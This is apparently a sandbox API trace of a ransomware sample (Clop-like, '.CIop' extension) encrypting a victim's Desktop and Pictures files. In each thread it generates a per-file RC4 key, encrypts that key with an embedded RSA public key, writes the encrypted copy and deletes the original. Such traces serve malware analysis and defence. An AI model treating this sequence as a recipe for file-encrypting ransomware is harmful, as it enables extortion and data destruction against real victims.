CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x367e5ec | out: pbData=0x0*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0099.297] CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x367e5ec | out: pbData=0x3000000*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0099.297] CryptDestroyKey (hKey=0x6487f8) returned 1 [0099.297] CryptReleaseContext (hProv=0x2f03d80, dwFlags=0x0) returned 1 [0099.298] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\-z88rwvekhn2yhbc6ys.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0099.298] WriteFile (in: hFile=0x59c, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x80ff, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x367e5d8*=0x80ff, lpOverlapped=0x0) returned 1 [0099.299] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80ff [0099.299] WriteFile (in: hFile=0x59c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x367e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.299] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8106 [0099.299] SetErrorMode (uMode=0x1) returned 0x1 [0099.299] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.299] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.299] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x367d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598 | out: pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598) returned 1 [0099.299] CryptAcquireContextW (in: phProv=0x367d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x367d5a8*=0x2f038b8) returned 1 [0099.300] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f038b8, dwCertEncodingType=0x1, pInfo=0x64a750, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x367d5b0 | out: phKey=0x367d5b0*=0x648638) returned 1 [0099.300] CryptEncrypt (in: hKey=0x648638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x367d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x367d5b4*=0x80) returned 1 [0099.300] CryptEncrypt (in: hKey=0x648638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03940*, pdwDataLen=0x367d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03940*, pdwDataLen=0x367d5a4*=0x80) returned 1 [0099.300] WriteFile (in: hFile=0x59c, lpBuffer=0x2f03940*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03940*, lpNumberOfBytesWritten=0x367e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.300] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.300] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.300] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.300] CloseHandle (hObject=0x59c) returned 1 [0099.301] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\-z88rwvekhn2yhbc6ys.gif")) returned 0 Thread: id = 157 os_tid = 0x3dc [0099.327] lstrcpyA (in: lpString1=0x30ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.327] lstrcpyW (in: lpString1=0x30ef368, lpString2="h72I_b.bmp" | out: lpString1="h72I_b.bmp") returned="h72I_b.bmp" [0099.327] lstrcpyW (in: lpString1=0x30ef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.328] SetErrorMode (uMode=0x1) returned 0x1 [0099.328] wsprintfW (in: param_1=0x30eeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp") returned 102 [0099.328] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp", dwFileAttributes=0x20) returned 1 [0099.328] StrStrW (lpFirst="h72I_b.bmp", lpSrch=".CIop") returned 0x0 [0099.328] wsprintfW (in: param_1=0x30ee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp.CIop") returned 107 [0099.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\h72i_b.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0099.328] ReadFile (in: hFile=0x59c, lpBuffer=0x685cd0, nNumberOfBytesToRead=0xd6fc, lpNumberOfBytesRead=0x30ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x30ee5e8*=0xd6fc, lpOverlapped=0x0) returned 1 [0099.329] CloseHandle (hObject=0x59c) returned 1 [0099.329] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\h72i_b.bmp")) returned 1 [0099.361] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0099.361] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0099.361] SetErrorMode (uMode=0x1) returned 0x1 [0099.361] CryptAcquireContextW (in: phProv=0x30ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x30ee5b8*=0x2f03698) returned 1 [0099.364] CryptGenKey (in: hProv=0x2f03698, Algid=0x1, dwFlags=0x4000, phKey=0x30ee5bc | out: phKey=0x30ee5bc*=0x648c78) returned 1 [0099.403] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x30ee5ec | out: pbData=0x0*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.403] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x30ee5ec | out: pbData=0x3240000*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.404] CryptDestroyKey (hKey=0x648c78) returned 1 [0099.404] CryptReleaseContext (hProv=0x2f03698, dwFlags=0x0) returned 1 [0099.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\h72i_b.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0099.524] WriteFile (in: hFile=0x598, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0xd6fc, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x30ee5d8*=0xd6fc, lpOverlapped=0x0) returned 1 [0099.525] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd6fc [0099.525] WriteFile (in: hFile=0x598, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x30ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.525] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd703 [0099.525] SetErrorMode (uMode=0x1) returned 0x1 [0099.525] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.525] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.525] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x30ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598 | out: pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598) returned 1 [0099.525] CryptAcquireContextW (in: phProv=0x30ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x30ed5a8*=0x2f03e90) returned 1 [0099.526] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03e90, dwCertEncodingType=0x1, pInfo=0x64a270, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x30ed5b0 | out: phKey=0x30ed5b0*=0x6488b8) returned 1 [0099.526] CryptEncrypt (in: hKey=0x6488b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x30ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x30ed5b4*=0x80) returned 1 [0099.526] CryptEncrypt (in: hKey=0x6488b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03258*, pdwDataLen=0x30ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03258*, pdwDataLen=0x30ed5a4*=0x80) returned 1 [0099.526] WriteFile (in: hFile=0x598, lpBuffer=0x2f03258*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03258*, lpNumberOfBytesWritten=0x30ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.526] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.526] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.527] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.527] CloseHandle (hObject=0x598) returned 1 [0099.528] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\h72I_b.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\h72i_b.bmp")) returned 0 Thread: id = 158 os_tid = 0x890 [0099.330] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.330] lstrcpyW (in: lpString1=0x322f368, lpString2="nYkivMTIATrvxLZ.xls" | out: lpString1="nYkivMTIATrvxLZ.xls") returned="nYkivMTIATrvxLZ.xls" [0099.330] lstrcpyW (in: lpString1=0x322f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.330] SetErrorMode (uMode=0x1) returned 0x1 [0099.330] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls") returned 49 [0099.330] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls", dwFileAttributes=0x20) returned 1 [0099.330] StrStrW (lpFirst="nYkivMTIATrvxLZ.xls", lpSrch=".CIop") returned 0x0 [0099.330] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls.CIop") returned 54 [0099.330] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\nykivmtiatrvxlz.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0099.331] ReadFile (in: hFile=0x59c, lpBuffer=0x656668, nNumberOfBytesToRead=0x17d5c, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x322e5e8*=0x17d5c, lpOverlapped=0x0) returned 1 [0099.332] CloseHandle (hObject=0x59c) returned 1 [0099.332] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\nykivmtiatrvxlz.xls")) returned 1 [0099.334] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0099.334] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0099.334] SetErrorMode (uMode=0x1) returned 0x1 [0099.334] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x2f03610) returned 1 [0099.336] CryptGenKey (in: hProv=0x2f03610, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x648c78) returned 1 [0099.353] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.353] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x322e5ec | out: pbData=0x3240000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.353] CryptDestroyKey (hKey=0x648c78) returned 1 [0099.353] CryptReleaseContext (hProv=0x2f03610, dwFlags=0x0) returned 1 [0099.354] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\nykivmtiatrvxlz.xls.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0099.354] WriteFile (in: hFile=0x59c, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x17d5c, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x322e5d8*=0x17d5c, lpOverlapped=0x0) returned 1 [0099.356] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17d5c [0099.356] WriteFile (in: hFile=0x59c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.356] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17d63 [0099.356] SetErrorMode (uMode=0x1) returned 0x1 [0099.356] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.356] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.356] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0099.356] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x2f03610) returned 1 [0099.356] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03610, dwCertEncodingType=0x1, pInfo=0x64a820, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x6488f8) returned 1 [0099.356] CryptEncrypt (in: hKey=0x6488f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0099.356] CryptEncrypt (in: hKey=0x6488f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f039c8*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f039c8*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0099.357] WriteFile (in: hFile=0x59c, lpBuffer=0x2f039c8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f039c8*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.357] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.358] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.358] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.358] CloseHandle (hObject=0x59c) returned 1 [0099.360] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\nYkivMTIATrvxLZ.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\nykivmtiatrvxlz.xls")) returned 0 Thread: id = 159 os_tid = 0xae8 [0099.685] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.685] lstrcpyW 